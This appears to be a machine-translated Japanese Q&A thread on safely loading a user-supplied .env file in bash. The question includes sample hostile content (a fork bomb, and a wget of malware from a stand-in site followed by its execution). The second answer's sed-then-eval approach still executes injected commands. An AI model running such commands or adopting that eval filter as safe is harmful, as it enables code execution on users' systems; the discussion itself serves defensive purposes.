コマンドライン引数が与えられたら、.envファイルを安全にロードする方法は?

コマンドライン引数が与えられたら、.envファイルを安全にロードする方法は?

次のスクリプトがあります。

#!/usr/bin/env bash

if [ "$#" -eq 0 ]; then
  echo "No argument has been provided"
  exit -1
fi

ENV_FILE=$1

source $ENV_FILE

ご覧のとおり、スクリプトユーザーは.env環境変数を含める必要があるファイルを提供します。環境変数を含むファイルへのパスを含みます$ENV_FILE.env

私のスクリプトでは、.envファイルには次のキーペア値を含める必要があります。

KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3

しかし、上記のコードでは、source環境変数にランダムなテキストファイルを提供するだけでは悪い考えのようです。

たとえば、.env ファイルが次のような場合:

KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3

:(){ :|: & };:

または、次の内容が含まれている場合:

KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3

wget https://malicisoussite.com/mallware -o /usr/bin/mallware
chmod +x ./mallware
./mallware

ご覧のとおり、このsourceコマンドは単に.envファイルをbashスクリプトにロードします。したがって、予想される環境変数クォータを超える悪意のあるコードが含まれる可能性があります。

では、ファイルにペアのみが含まれているかどうかを確認できますかKEY=VALUE

答え1

入力を削除する1つの方法は次のとおりです。

#!/usr/bin/env bash

### Your previous code here ###

env_file=$1

if ! perl -ne '/^\w+=[\047\042\w\s\.-]+\s*$|^\s*$/
        or die "Suspicious line $_"' "$env_file"
then
    msg="suspicious source file detected from $env_file"
    logger -t $0 "$msg"
    mail -s "$0 $msg" [email protected] < "$env_file"
    exit 1
else
    . "$env_file"
fi

これにより、次の変更のみが許可されます。

key=value
KEY='VALUE'
Key="v"
K_e_y=value
k=v 
k=_v_a_l_u_e
k=v-a-l-u-e
k='v a l u e'
...

正規表現の一致は次のとおりです。

説明する
^ 文字列の始まり
\w+ 単語文字(az、AZ、0-9、_)(1回以上(最大限一致))
= =
[\047\042\w\s\.-]+ すべての文字: '\047', '\042', 単語文字(az, AZ, 0-9, _), スペース(\n, \r, \t, \f および " "), '.', ' - '(1回以上(最大の一致)
\s* 空白(\n, \r, \t, \f および " ")(0回以上(最大一致))
$ オプションの\nの前と文字列の終わり
| または
^ 文字列の始まり
\s* 空白(\n, \r, \t, \f および " ")(0回以上(最大一致))
$ オプションの\nの前と文字列の終わり

答え2

私の考えでは、より良いアプローチは次のとおりです。 https://askubuntu.com/a/886884

環境変数を提供するには、通常のsedとevalを使用します。

#!/usr/bin/env bash

if [ "$#" -eq 0 ]; then
  echo "No argument has been provided"
  exit -1
fi

ENV_FILE=$1

if [ ! -f "$ENV_FILE" ]; then
  echo "No ENV file has been provided"
  exit -1
fi

ENV_CONTENT=$(cat $ENV_FILE | sed -r '/[^=]+=[^=]+/!d' | sed -r 's/\s+=\s/=/g')
eval $ENV_CONTENT

evalがサポートされていない場合:

#!/usr/bin/env bash

if [ "$#" -eq 0 ]; then
  echo "No argument has been provided"
  exit -1
fi

ENV_FILE=$1

if [ ! -f "$ENV_FILE" ]; then
  echo "No ENV file has been provided"
  exit -1
fi

cat $ENV_FILE | sed -r '/[^=]+=[^=]+/!d' | sed -r 's/\s+=\s/=/g' > $ENV_FILE.sane

source $ENV_FILE.sane

関連情報